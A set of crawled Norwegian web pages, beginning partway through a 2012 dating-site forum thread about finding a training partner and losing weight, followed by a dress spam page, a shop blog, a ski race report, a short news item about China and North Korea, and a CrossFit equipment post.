alt for lite styrke, s\u00e5 jeg kunne ogs\u00e5 trengt litt pushings akkurat der. N\u00e5 har jeg bestilt meg PT i h\u00f8st for \u00e5 f\u00e5 litt fortgang i sakene.  \n  \nSykling ute er ogs\u00e5 morsomt, mange fine ritt.\n\n (mann 39 \u00e5r fra Vestfold)  ma. 10 sep. 2012 14:50  Privat melding \n\nJeg sykler litt terreng i follo / \u00f8stmarka / nordmarka / t\u00f8nsberg / n\u00f8tter\u00f8y / tj\u00f8me. Og ski i de samme omr\u00e5dene hvis sn\u00f8en samarbeider. Du kan jo henge deg p\u00e5 om geografien passer med dine preferanser.  \n(Evt bli med \u00e5 flytte serverrom, s\u00e5 har du g\u00e5tt ned 2-3kg p\u00e5 en natt.)\n\nSkjult ID med pseudonym cicero ma. 10 sep. 2012 15:04  \n\nBra du har bestemt deg for \u00e5 ta grep, men ta det fra en som har g\u00e5tt ned over tyve kilo de siste \u00e5rene: det handler bare om \u00e5 bestemme seg for s\u00e5 \u00e5 gj\u00f8re det. Det m\u00e5 du finne ut av alene. Hvis du trenger en treningspartner for \u00e5 motivere deg risikerer du bare at du forfaller igjen etter at denne partneren forsvinner igjen. Det viktigste er at du har full styring p\u00e5 din egen trening.  \n  \nMen klart, ingenting er bedre enn \u00e5 trene sammen med noen man trives sammen med.\n\nSkjult ID med pseudonym ? ma. 10 sep. 2012 15:16  \n\n@. Slemtiger  \nHvordan var ditt regime for \u00e5 g\u00e5 ned alle kg? Jeg vil ha bort fire, de sitter...\n\nJeg vil ha treningspartner (P\u00e5 Elixia) :)\n\nSkjult ID med pseudonym kraftplugg ma. 10 sep. 2012 15:37  \n\nHei og hopp\\!  \n  \nJeg har byttet ut br\u00f8d med rugspr\u00f8 spiser 1 knekkebr\u00f8d med ost/skinke hver 2 time (3 - 4 ganger p\u00e5 dagtid)  \nS\u00e5 spiser jeg en litt mindre middag en hva jeg pleide \u00e5 gj\u00f8re. Ikke noen \\_stor\\_ posjon. Men jeg spiser det jeg har lyst p\u00e5. Bare ikke overspiser. Byttet ut den daglige brusen med vann\\! (bare her er mye gjort) Har ogs\u00e5 pga dette fjernet en stor utgift p\u00e5 \"ferdigmat\" til lunch som koster en hel formue n\u00e5 til dags.  \n  \nJeg trenger ikke trene s\u00e5 mye, men jeg trener litt av og til. 2-5 ganger p\u00e5 14 dager. ca\\! det varierer veldig  \nDet er f\u00f8rst da kg detter av, men for \u00e5 beholde den smale vekta m\u00e5 man v\u00e6re innstilt p\u00e5 \u00e5 legge om gamle usunne vaner til en mer sunn stil. Ikke forspise seg, og ikke spise godis etter middagen, eller kj\u00f8pe sjokolade, og s\u00e5nt...  \n  \nDet er viktig \u00e5 g\u00e5 sakte ned. G\u00e5r du fort ned (aka. sulte-streiker en hel dag) s\u00e5 g\u00e5r du like for opp igjen n\u00e5r du f\u00f8rst spiser noe.)  \n  \nJeg er ikke \"nazi\" og hender jeg sl\u00e5r ut h\u00e5ret i helgene med bestillingspizza, pottis og brus. Men jeg har hvertfall begrenset det til typ \"av og til\" og ikke annen hver dag slik som det var f\u00f8r. Hadde selv aldri klart \u00e5 legge om kosthold og livsstil p\u00e5 dagen, s\u00e5 jeg tar dette gradvis. I tillegg er jeg ingen trengingsfreak.  \n  \nHar klart \u00e5 g\u00e5 ned fra 102.4 til 94.7 n\u00e5. (p\u00e5 3 mnder) ;)\n\n (mann 46 \u00e5r fra Vestfold)  ma. 10 sep. 2012 15:51  Privat melding \n\nDette fikser du LETT..  \nBare snakk om innstilling  \nJeg bestemte meg i P\u00e5sken i \u00e5r for \u00e5 at n\u00e5 er det nok stillesitting og sturing... og det er det p\u00e5 tide \u00e5 ta grep..  \nG\u00e5tt ned 18 kg siden da\\! Har 6 kg igjen for \u00e5 f\u00e5 BMI til \u00e5 bikke til normalvektig.. Men den tar da heller ikke hensyn til mine 189cm h\u00f8ye og tunge beinbygning ;)  \n  \nEt par triks som funket for meg.  \n1\\. Start pent (ikke g\u00e5 ALT for hardt ut... da blir det bare br\u00e5stopp)..  \n2\\. heller hyppig.. Jeg trente 5-6 og noen ganger 7 dager i uka...  \n3\\. MAT \\!. Kutt snop og brus \\!\\! (KUN fredag\\!) - Salat og fisk kan du aldri f\u00e5 nokk av ;) Finn sunn mat du liker \\!  \n4\\. Ikke spis FOR lite.. Jeg kuttet for mye i maten.. Gikk raskt ned 3-4kg i uka p\u00e5 det meste.. Men du mister da raskt energi... Spis hyppige m\u00e5ltider (max 4 timer i mellom).. Der har jeg fremdeles et godt forbedringspotensiale ;) Glemmer \u00e5 spise n\u00e5r det er travelt ;)  \n  \nog sist men ikke minst.. Del din treningsglede.. bruk Endomondo og track og del med venner.. Positiv feedback gir dobbelt effekt (Via godt hum\u00f8r) og er s\u00e5 sykt deilig ;)  \n  \nPS.. Jeg m\u00e5 si jeg selv har blitt overrasket hvor raskt jeg selv har kommet i form og g\u00e5tt ned... Trodde ikke det var mulig og digger det ;D - s\u00e5 st\u00e5 p\u00e5 \\!  \n  \nPS2.. Problemet du f\u00e5r er at alle bilder er fra F\u00d8R du tok av ;) - hehehe :)\n\n (mann 36 \u00e5r fra Oslo)  ma. 10 sep. 2012 15:53  Privat melding \n\n@?  \n  \nLong story, men for min del handlet det om \u00e5 endre livsstil. Eliminere de gamle uvanene og innf\u00f8re nye sunne vaner. Fors\u00f8ke \u00e5 spise ofte og lite. Begynne \u00e5 trene. Dette har i grunn fungert greit. Det vanskeligfste for meg var \u00e5 innse at helgen i beste fall er fredag-l\u00f8rdag, og at hverdagen er s\u00f8ndag-torsdag. Virker som veldig mange har helg fra torsdag-s\u00f8ndag og hverdag mandag-onsdag. Da er faktisk helgen st\u00f8rre enn uken for\u00f8vrig.\n\nSkjult ID med pseudonym Stevia ma. 10 sep. 2012 15:54  \n\nOg s\u00e5 m\u00e5 du skifte garderobe. Det er i grunnen ganske inspirerende.\n\nSkjult ID med pseudonym dvask31M ma. 10 sep. 2012 16:25  \n\nOj, takk for engasjementet her.. :)  \n  \n(Jeg ser hovedsaklig etter en kvinnelig treningspartner da :)  \n  \nBruker appen Endomondo til tracking. Det er motiverende det. I tillegg har jeg skaffet meg digital badevekt som kan twitre vekta for sikkerhetsskyld ;) S\u00e5 da er det liksom ingen b\u00f8nn om \u00e5 f\u00e5 h\u00f8re at \"n\u00e5 er det p\u00e5 tide \u00e5 roe ned p\u00e5 godisen\"...  \n  \nHar v\u00e6rt st\u00f8ttemedlem p\u00e5 tidligere \"Jimu\" ved Kjellandsplass. (Som n\u00e5 har byttet navn til noe s\u00e5nn ca som \"Fittnes24/7\" eller noe? . Tvers over ved Sats. Men jeg har ikke v\u00e6rt der siden det endret navn)...  \n  \nVil p\u00e5 en m\u00e5te v\u00e6re ute fremfor \u00e5 v\u00e6re p\u00e5 et studio...  \nVi bor i verdens beste land med fineste naturen som finnes. \u00c5 sitte \u00e5 trykke p\u00e5 et treningssenter blir litt tragisk da synes jeg. Frisk luft er ganske mye diggere enn innestengt svettelukt. (og s\u00e5 er det gratis\\!)  \n  \n;)\n\nSkjult ID med pseudonym -Bene- ma. 10 sep. 2012 16:29  \n\nJeg kjenner ei p\u00e5 Kielland som kanskjevil ha en sparrepartner der ogs\u00e5 :) planer i helgen? S\u00e5 kan dere treffes og se om det kan bli kult.\n\nSkjult ID med pseudonym dvask31M ma. 10 sep. 2012 16:32  \n\nDa m\u00e5 jeg som idiotisk treningsmann sp\u00f8rre hva en \"sparre-partner er\" ? Er det noe sado greier? I s\u00e5fall er det langt utenfor min komfortsone \\! ;)\n\nSkjult ID med pseudonym cicero ma. 10 sep. 2012 16:37  \n\nSiden jeg begynte \u00e5 trene har jeg for det meste v\u00e6rt ute i friluft eller hjemme. Har heldigvis kort vei til b\u00e5de skauen og fjellet, det anbefales p\u00e5 det sterkeste for de som har muligheten\\!\n\n@dvask31M  \n  \nN\u00e5 forveksler du nok med begrepet \"spanking-partner\" :)\n\nSkjult ID med pseudonym dvask31M ma. 10 sep. 2012 16:46  \n\nHehe... Hensikten var \u00e5 trene... Ikke ha sex. M\u00e5tte google \"sparrepartner\". Skj\u00f8nner greia n\u00e5 ;)\n\nSyns egentlig det er dig \u00e5 trene alene. Litt tid for meg selv og med god musikk p\u00e5 \u00f8ret.  \nHar egentlig Sats dag i dag men er litt forkj\u00f8la og uggen. Vurderer det likevel. Er s\u00e5 god f\u00f8lelse \u00e5 trene\\!\n\nIkke vanskelig \u00e5 g\u00e5 ned 10 kg hvis du virkelig g\u00e5r inn for det, samtidig som at det kan v\u00e6re like vanskelig som \u00e5 komme deg til toppen av Mt. Everest\\!\\! Du kan g\u00e5 ned ved \u00e5 spise mindre, trene mer, eller det enkleste, begge delene\\! :D  \n  \nMen det som er vanskelig \u00e5 holde motivasjonen oppe, for uansett s\u00e5 kommer det til \u00e5 ta TID. Gikk selv ned fra 95 til 58 s\u00e5 vet det godt :P S\u00e5 finn det som motiverer deg og bruk det for alt det er verdt.  \n  \nN\u00e5 er jeg \"desverre\" av feil kj\u00f8nn n\u00e5r det gjelder treningspartner som du ser etter, men har du mulighet til \u00e5 trene p\u00e5 Actic s\u00e5 kan jeg gi deg et tips eller to p\u00e5 b\u00e5de trening og ern\u00e6ring\\! :)  \n  \nLykke til\\!\n\nFikk meg en god latter av denne, ts:  \n  \n\"Har nettopp kommet ut av et lengre forhold, og ser av den grunn ikke ut\"  \n  \nJeg kunne nesten se det for meg.. med pulesveis - akkurat som n\u00e5r du snubler ut av senga og sjanger til toilettet - en altfor tidlig s\u00f8ndag morgen..  \n  \nS\u00e5 det er slik man blir av \u00e5 v\u00e6re i et forhold for lenge haha\n\nYou and me both, Danty\\! Var omtrent det samme som dukket opp p\u00e5 netthinna mi ogs\u00e5 ;D Herlig\\! Skulle gjerne hatt en treningspartner selv. Gj\u00f8r treningen b\u00e5de mer g\u00f8y, og ikke minst mer effektiv. S\u00e5 st\u00e5 p\u00e5, ts :)\n\nSkjult ID med pseudonym Jeno ma. 10 sep. 2012 20:56  \n\nJeg har f\u00e5tt meg PT og skal ned i vekt. F\u00f8rste delm\u00e5l er 10 kg, men skal si de kiloene sitter hardt. De vil ikke vekk enda jeg f\u00f8lger mat og treningsopplegget som min PT har satt opp. Dere mannfolk er heldigere mht at dere g\u00e5r fortere ned i vekt enn oss damer. Misunner dere, skikkelig urettferdig alts\u00e5 ;P\n\nSkjult ID med pseudonym amor\u00f8sa ma. 10 sep. 2012 20:58  \n\nIkke fokuser p\u00e5 vekta. Se heller p\u00e5 centimetrene. Muskler veier mer enn fett vettu :)\n\nSkjult ID med pseudonym Jeno ma. 10 sep. 2012 21:24  \n\nM\u00e5ler ogs\u00e5 jeg, men d\u00e5rlig resultat der ogs\u00e5. - 1cm rundt l\u00e5rene p\u00e5 5 uker.\n\nSkjult ID med pseudonym nyfikendam ma. 10 sep. 2012 21:29  \n\n\"kommet ut av et forhold\" - er det en typisk mannlig ting \u00e5 si, forresten? :)  \n  \nN\u00e5r jeg tenker p\u00e5 det, har jeg aldri h\u00f8rt en kvinne formulere seg slik....\n\nSkjult ID med pseudonym Vianaldo ma. 10 sep. 2012 23:01  \n\nNyfikendam, det er et uttrykk som blir brukt i alle fall. :) Godt brukt, eller typisk veit jeg ikke.  \n  \n10 kilo er mye, men det kan gj\u00f8res ganske fort. Du m\u00e5 som andre sier over her, kutte ut en del og trene mer. Men det h\u00f8res ut som du er motivert for det i alle fall.  \n  \nSelv har jeg begynt \u00e5 trene en del, kan anbefale \u00e5 g\u00e5 fjellturer ogs\u00e5, da dette er en av de bedre m\u00e5ter \u00e5 forbrenne fett p\u00e5. L\u00f8pe/g\u00e5 i motbakke er viktig. Styrke er ikke det viktigste om du skal ned i vekt, men kombiner litt. To-tre \u00f8kter i uken med styrke, en l\u00f8petur/sykkeltur eller to s\u00e5 er mye gjort.  \n  \nLykke til. :)\n\nSkjult ID med pseudonym dvask31M ma. 10 sep. 2012 23:26  \n\n@ -Bene- : Fortell hvem dette er da ;)  \n  \n@ Fuzick: Enig at det kan v\u00e6re digg \u00e5 trene litt alene med go-musikken p\u00e5 \u00f8ra ogs\u00e5. Koble litt av og f\u00e5 ut litt frustrasjon. T\u00f8mme hue litt liksom. Men trenger en \"sparrepartner\" som det s\u00e5 fint heter for \u00e5 motivere litt ekstra.  \n  \n@ nyfikendam : Jeg kunne sikkert ha formulert meg annerledes... Enig at det kan h\u00f8res litt teit ut, men jeg har mine grunner.  \nN\u00e5r hun klarer \u00e5 \u00f8delegge 10 \u00e5rs langt forhold ved \u00e5 innlede et parallelt forhold til en x og i tillegg har klart \u00e5 holde dette g\u00e5ende i et helt \u00e5r bak min rygg - da er det kroken p\u00e5 d\u00f8ra fra min side\\! Har bedre ting \u00e5 gj\u00f8re enn \u00e5 v\u00e6re \"second best\". Jeg fortjener bedre kvinnfolk en s\u00e5nne f-kjerringer som driver med s\u00e5nt tull.  \n  \nAng trening/vekt\u2026.:  \n  \nH\u00e5per jeg uansett kommer meg ned i en vekt jeg f\u00f8ler meg \"bra\" i. Selv om jeg fra f\u00f8r av har en kraftig beinbyggning s\u00e5 er jeg super-happy om jeg lander p\u00e5 85 kg. Har faktisk v\u00e6rt opp i 100 kg men ligger \u00e5 ruger rundt 95 kg n\u00e5. Det g\u00e5r sykt tregt men jeg jobber med saken:) bare det \u00e5 bikke under 90 kg vil gj\u00f8re at jeg kanskje f\u00e5r opp selvtillitten igjen til \u00e5 t\u00f8rre \u00e5 m\u00f8te nye damer.  \n  \nDet aller aller aller aller st\u00f8rste \"problemet\" er pondusen som har bygget seg opp gjennom tiden. -Hva er best trening for \u00e5 kvitte seg med den?? Tror det er der mesteparten av de 10 kg ligger for \u00e5 si det s\u00e5nn.  \n  \n\\-Hjelper \u00e5 h\u00f8re at det nytter hvis man g\u00e5r inn for det\\! Det ultimate m\u00e5let m\u00e5 vel v\u00e6re \u00e5 t\u00f8rre \u00e5 g\u00e5 i bar overs p\u00e5 stranda til neste sommer. S\u00e5 dere damer f\u00e5r en digg kropp \u00e5 se p\u00e5 - forh\u00e5pentligvis uten pondus ;)\n\n@Jeno, g\u00e5 til legen din og skjekk om du kanskje har noe som gj\u00f8r det ekstra vanskelig \u00e5 g\u00e5 ned i vekt, ellers s\u00e5 hadde jeg revidert ern\u00e6rings- og treningsplan, for de fungerer tydeligvis ikke\\! :P\n\nJeg tenker \u00e5 sykle en tur i nordmarka i morgen (i dag, tirsdag). Regner med \u00e5 starte fra tryvann ca kl 17 og ende opp enten ved maridalsvannet eller i s\u00f8rkedalen, eller i det minste p\u00e5 en grusvei som f\u00f8rer ut av skogen en eller annen gang f\u00f8r det blir bekkm\u00f8rkt. Det blir en tur med m\u00e5-f\u00e5-navigasjon (forgjengeren til gps), i relativt lett terreng (siden det er planlagt regn og sleipe r\u00f8tter tidligere p\u00e5 dagen).  \n  \nGi en lyd om noen skulle f\u00f8le for \u00e5 bli med.  \n(Profilen er for anledningen \u00e5pnet for de med match under 70)\n\nHahaha\\! Genialt\\!  \nF\u00f8ler virkelig med deg TS og h\u00e5per du finner en hyggelig treningspartner :-)\n\nSkjult ID med pseudonym dvask31M fr. 14 sep. 2012 01:09  \n\n@ Marih\u00f8na33 : Takk det h\u00e5per jeg og\\! ;)\n\nJeg sykler denne ruten i morgen. ( http://www.skiforeningen.no/marka/showtour.cgi?id=224 )  \n  \n\\-Bare \u00e5 henge seg p\u00e5\\!\\! :)\n\n", "language": "no", "__index_level_0__": "df4d04db-ad92-4321-843d-a55556b5c79c"}
{"url": "https://bryllupskjoler.webnode.com/news/selskapskjoler/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:44:33Z", "text": "# selskapskjoler\n\n10.10.2013 09:38\n\nEn asymmetrisk waistline kjole starter p\u00e5 den naturlige midje p\u00e5 den ene siden og falt til en droppet waistline p\u00e5 den andre siden.\u00a0selskapskjoler\u00a0Asymmetrisk waistline kjoler er sv\u00e6rt popul\u00e6re blant brude kjoler.  \nWaistline spiller en stor rolle i noen bryllup kjoler, og dermed hjelper det feminine brukeren \u00e5 utvikle en personlighet, som skjult av feil og uttrykt av beste kroppsholdning. Generelt kan kappe v\u00e6re sin naturlige,\u00a0ballkjoler\u00a0imperium eller slippe bukselinningene bare rett og slett strukket i en horisontal m\u00e5te mens den asymmetriske waistline gi fascinerende smak i brudekjoler. Den har enda bedre resultater for \u00e5 vise frem heftig st\u00f8rrelse tall i glatt slank ramme. Spesielt asymmetrisk waistline kutter kanten av buggy magen, og det er grunnen til at det gj\u00f8r brukeren ser slank trim.  \nDermed er dette waistline kjent blant brudekjolen.\u00a0brudekjoler\u00a0S\u00e5 n\u00e5 hvorfor du venter p\u00e5 pr\u00f8ve noen vakkert arbeider asymmetriske waistline kjoler i fantastisk alternativ blant brudekjoler.\n\n", "language": "no", "__index_level_0__": "6b5e7567-4612-467e-b67d-5a2e1021bc03"}
{"url": "http://rattogsanselig.blogspot.com/2014/09/mine-hsttips-der-er-mangeting-som-jeg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:20:41Z", "text": "R\u00e5tt\\&Sanselig er en stor interi\u00f8r- og klesbutikk som ble etablert 7.mai 2004. Vi holder til i usedvanlig hyggelige lokaler midt p\u00e5 Larviks torg. P\u00e5 denne bloggen vil du bli oppdatert p\u00e5 innkj\u00f8p, spennende nyheter og f\u00e5 masser av ideer.\n\n## fredag 26. september 2014\n\nMine h\u00f8sttips\n\n\u00a0\nDer er mange ting som jeg virkelig liker \u00e5 bruke, b\u00e5de hudpleie, vakre ting til hjemmet mitt og fancy ting som gj\u00f8r mange ting enklere.\n\n  \nJeg g\u00e5r ingen steder uten min leppepomade fra L:A Bruket. Leppepomaden er perfekt etter min mening, den er langvarig fuktighetsgivende og har n\u00e6rende effekt. Perfekt for b\u00e5de varme og kalde dager\\! \n\nhttp://www.rattogsanselig.no/index.php/skjonnhet-og-velvaere/la-bruket-leppepomade.html\u00a0\n\n\u00a0 \u00a0\nRengj\u00f8ring hjemme? Litt kjedelig, men ogs\u00e5 fint..\\!? Jeg ELSKER n\u00e5r mitt hjem lukter friskt og nytt, hvem gj\u00f8r ikke det? Jeg har v\u00e6rt gal med denne sprayen fra Compagnie De Provence - det lukter herlig og kan rengj\u00f8re kj\u00f8kken, bad og gulv \u00e0 det etterlater en nydelig duft av lavendel. FAVORITT \\!\\! \n\n|                                                                                                                                  |\n| :------------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                                              119,-                                                               |\n\nN\u00e5r mitt hjem er skinnende og m\u00f8rket faller p\u00e5, s\u00e5 t\u00e6ndes der stearinlys. Jeg elsker \u00e5 hoppe under teppet og bare nyte. Jeg har v\u00e6rt litt forelsket i duftlys fra L: A Bruket og Bruka design. De dufter s\u00e5 skj\u00f8nt\\! \n\n\n\nL:A Bruket duftlys\n\n\n\nhttp://www.rattogsanselig.no/index.php/skjonnhet-og-velvaere.html\n\n  \nDet er blitt litt kaldt ute, s\u00e5 n\u00e5 m\u00e5 det v\u00e6re varme kl\u00e6r \u2013 Line of Oslo skuffer meg aldri. Er denne strikkjakke ikke skj\u00f8nn? (den kan vinnes p\u00e5 v\u00e5r Instagram profil: rattogsanselig) J Juhu\\! \n\n\n\nhttp://instagram.com/rattogsanselig\n\n  \n\nN\u00e5 er h\u00f8sten her (nesten) og v\u00e6ret blir litt trist, derfor m\u00e5 jeg ha litt farger \u00e5 se p\u00e5. Denne kosmetikveske fra AFRO art er s\u00e5 skj\u00f8nn fargerike. Jeg bruker min som veske til mobil og penger.\n\n\n\nAFRO art\n\n  \nhttp://www.rattogsanselig.no/index.php/klar-tilbehor/tilbehor-klar/makeup-vesker.html\n\n  \nHer var noen av mine favoritter til h\u00f8sten.\u00a0\n\n  \nBes\u00f8k v\u00e5r webshop n\u00e5, alle som kj\u00f8per noe f\u00e5 en liten gave fra oss - og deltar i konkurransen om et Becks\u00f6ndergaard skjerf\\!\\! \\#l\u00f8pogkj\u00f8p ;-) \n\n\n\nPerfekt for h\u00f8sten\\!\\!\u00a0\n\n\u00c5pner f\u00f8r 17.mai 2014...\n", "language": "no", "__index_level_0__": "9819701c-01e4-491f-a89b-607e89043d36"}
{"url": "https://nesoddenski.no/2018/03/01/hovedlandsrennet-2018/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:26:36Z", "text": "## Hovedlandsrennet 2018\n\nPostet den 1. mars 2018 by RON \n\n\n\nGutta etter sprinten l\u00f8rdag\n\nHovedlandsrennet 2018 gikk av stabelen p\u00e5 Lygna Skisenter 23-25.2 med \u00f8velsene enkeltstart klassisk distanserenn fredag, fristil sprint og cross l\u00f8rdag samt stafetter s\u00f8ndag. Nesodden IF stilte med en fyldig tropp og det ble levert mange gode renn og prestasjoner. Spesielt m\u00e5 vi trekke frem Maja og Henrik som med full klaff fredag gikk inn til henholdsvis 5. og 35. plass p\u00e5 5km/7.5km klassisk \u2013 fantastisk sterke prestasjoner i startfelt p\u00e5 2-300 av landets beste 15 og 16-\u00e5ringer. Veldig artig at masse god trening gir resultater\\! Klubben gratulerer alle v\u00e5re med flott innsats alle dager\\!\n\nJon tok masse bilder som kan sees her.\n\n", "language": "no", "__index_level_0__": "1d3b6815-009e-4f7e-8ad4-fe5d5071f31b"}
{"url": "https://www.bulkraceday.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:09:22Z", "text": "\n\n## Bulk Race Day\n\nBulk Race Day er et gratis og \u00e5pent arrangement som samler representanter fra n\u00e6ringsliv, akademia, offentlig sektor og alle med kompetanse som vil bidra til utvikling av b\u00e6rekraftige l\u00f8sninger.\n\n## Om arrang\u00f8ren\n\nBulk Infrastructure er en ledende eiendomsutvikler innen lager- logistikk- og industribygg i Norge. Selskapet har siden 2010 utviklet og solgt eiendom for mer enn 4 milliarder kroner og bygget nye industribygg tilsvarende mer enn 300 000 kvm. Bulk Infrastructure utvikler n\u00e5 N01 Campus i Vennesla, verdens st\u00f8rste datasenterpark p\u00e5 fornybar energi.\n\n", "language": "no", "__index_level_0__": "e28b8dfa-e749-4abe-9b95-1deb9c52fab3"}
{"url": "https://www.nettavisen.no/nyheter/kina-med-skarp-atomadvarsel-til-nord-korea/3565488.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:28:32Z", "text": "# Kina med skarp atomadvarsel til Nord-Korea\n\nBeijing (NTB-AFP): Nordkoreanerne b\u00f8r f\u00e5 betale dyrt dersom de gjennomf\u00f8rer planene om en ny atompr\u00f8vesprengning, mener statlige kinesiske medier. Kina regnes som Nord-Koreas viktigste allierte.\n\nKineserne har tidligere vanligvis latt v\u00e6re \u00e5 g\u00e5 til straffetiltak mot nabolandet. Men etter meldinger om at regimet i Pyongyang planlegger en tredje kjernefysisk pr\u00f8vesprengning, er tonen fra Beijing streng.\n\n\\- Hvis Nord-Korea ser bort fra fors\u00f8kene p\u00e5 \u00e5 f\u00e5 landet p\u00e5 bedre tanker, og insisterer p\u00e5 en tredje test, m\u00e5 landet f\u00e5 betale en h\u00f8y pris. Bistanden landet f\u00e5r fra Kina b\u00f8r bli redusert, het det i den engelskspr\u00e5klige Beijing-avisen Global Times onsdag.\n\n\\- Kina \u00f8nsker \u00e5 opprettholde vennskapet med Nord-Korea, men da b\u00f8r Nord-Korea ogs\u00e5 vise samme gode vilje, tilf\u00f8yde avisen. Den advarte mot at kineserne \u00ablar seg ta som gisler av ekstreme handlinger\u00bb fra Nord-Koreas side.\n\n", "language": "no", "__index_level_0__": "3301871f-0f70-4f78-a499-85af0ccfecf7"}
{"url": "http://garage-party.net/norge-jenter-kvinne-sker-elsker", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:17:02Z", "text": "Hilsen Kristian tintin38 AMSTERDAM Mai. Letar dame i alla \u00e5ldrar som s\u00f6ker k\u00e4rlek. Likevel synes jeg det er noen trekk som g\u00e5r igjen. Det er i hvert fall det dommer'n mente. Du har det du trenger, men savner mest av alt ei ordentlig og seri\u00f8s jente for lanvarig forhold.  \n\n.jpg \"norge jenter kvinne s\u00f8ker elsker\")\n\n", "language": "no", "__index_level_0__": "eb6042ed-ae77-4c18-aca4-898a709c2be4"}
{"url": "http://blog.crossfitoslo.no/2012/02/08/et-treningssenter-i-ryggsekken/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:12:03Z", "text": "# CrossFit Oslo\n# Et treningssenter i ryggsekken\n\nPosted on February 8, 2012  by  Jon\n\nHar tenkt litt p\u00e5 dette med hva som kan v\u00e6re det beste, mest minimalistiske utstyret man kan ha for \u00e5 kunne trene hvor som helst, n\u00e5r som helst, og kunne gj\u00f8re mest mulig. En mulig l\u00f8sning: et sett med ringer, og en kettlebell.Det aller beste og mest anvendelige trenings-redskapet du har er din egen kropp. Selv om denne posten egentlig handler om utstyr er det verdt \u00e5 f\u00e5 med at man kan komme veldig langt kun med kroppsvekts\u00f8velser. Spesielt hvis man er utend\u00f8rs i naturen eller i en park der man har ting \u00e5 hoppe og klatre p\u00e5 finnes det nesten ingen grenser.\n\nLikevel, litt utstyr er kjekt \u00e5 ha. Det aller enkleste er et sett med ringer. De f\u00e5r plass i bunnen av en ryggsekk, er lette og kan tas med over alt. De kan lett henges fra takbjelker, grener, klatrestativ eller hva det m\u00e5tte v\u00e6re og vips s\u00e5 kan man trene pullups, dips, muscleups, pushups, L-sits og masse annet. Hvis man skal ha \u00e9n ting m\u00e5 det v\u00e6re ringer.\n\n\n\nEinar tar gjerne med seg ringer og kj\u00f8rer en \u00f8kt utend\u00f8rs\n\nJeg kj\u00f8pte mine ringer for mange \u00e5r siden fra ringtraining.com da jeg bodde i USA. Treringene vi har p\u00e5 Crossfit Oslo er fra Rogue Fitness. Crossfit-Norge anbefaler EXF ringene fra Ringtraining, og jeg er ogs\u00e5 forn\u00f8yd med mine Elite ringer (lages ikke lenger). En ulempe med Rouge sine treringer er at man nok ikke burde la de henge igjen ute i regnet siden de er laget av ubehandlet tre.\n\nNummer to p\u00e5 listen over praktisk og kompakt treningsutstyr er en kettlebell. Den tar veldig lite plass \u00e5 lagre og liten plass \u00e5 bruke. En kettlebell fraktes veldig lett i et bagasjerom, men kan ogs\u00e5 legges i en sekk hvis ikke har noe i mot litt balast p\u00e5 vei til treningen. Som med ringene er en kettlebell ogs\u00e5 veldig allsidig. Man kan ta swings, clean, snatch, press, turkish getup, goblet squats og masse mer. Som med ringene er listen med \u00f8velser nesten uendelig.\n\nRinger og en kettlebell passer ogs\u00e5 veldig godt sammen. For eksempel er ringer bra for vertikale drag (pull ups) og kettlebells er bra til vertikale press (press over hodet). Trening med ringer dekker armer, skuldre, og ikke minst kjernemuskelatur. Med en kettlebell trener man ogs\u00e5 bena og ryggen p\u00e5 en annen m\u00e5te. Kettlebells er ogs\u00e5 velegnet til utholdenhetstrening med h\u00f8yt antall repetisjoner.\n\nProblemet n\u00e5r man ikke har tilgang til et treningssenter kan v\u00e6re at man ikke f\u00e5r trent skikkelig tungt. Det man ofte savner mest er en tung vektstang. Har du en kettlebell og noen ringer kan du trene tungt med litt innsats. Ringdips med en 24kg kettlebell hengende mellom bena er tungt nok for de fleste. Hvis det ikke er tungt nok kan du pr\u00f8ve handstand pushups p\u00e5 ringer eller kanskje pullups med \u00e9n h\u00e5nd. For benstyrke er pistols ganske krevende. Legg p\u00e5 vekten av en kettlebell og du har en \u00f8velse som er skikkelig utfordrende. Det er noe ganske annet enn tunge back squats med en vektstang men variasjonen er bare bra.\n\nFor deltagere p\u00e5 kettlebell workshoppen 19 februar tilbyr compactkettlebells.no en spesialpris p\u00e5 kettlebells. Hvis du er interessert i workshoppen eller kunne tenke deg \u00e5 bestille en eller flere kettlebells ta kontakt p\u00e5 firstname.lastname@example.org.\n\nSkulle man hatt en tredje ting i treningssekken kan et hoppetau v\u00e6re et bra valg. Det tar absolutt ikke noe plass og alle som har tatt double-unders vet hvor god trening det er. Hoppetau f\u00e5s kj\u00f8pt i en hvilken som helst sportsbutikk. Vi har ogs\u00e5 noen veldig gode Buddy Lee hoppetau med kulelager som du lett kan tilpasse til din perfekte lengde i shoppen p\u00e5 Crossfit Oslo. Sp\u00f8r i resepsjonen.\n\n\n\nBlair Morrison har v\u00e6rt med i Crossfit Games tre ganger og har femteplass fra 2011 som beste resultat. Han trener mest mulig ute og kj\u00f8rer gjerne \u00f8kter som krever minimalt med utstyr og utnytter det om er tilgjengelig i naturen av bakker, tr\u00e6r og gjenstander. Sjekk websiden hans Anywherefit for inspirasjon.\n\n\n\n", "language": "no", "__index_level_0__": "ef77421a-12c7-4192-a9c4-ff732f2bd5b9"}
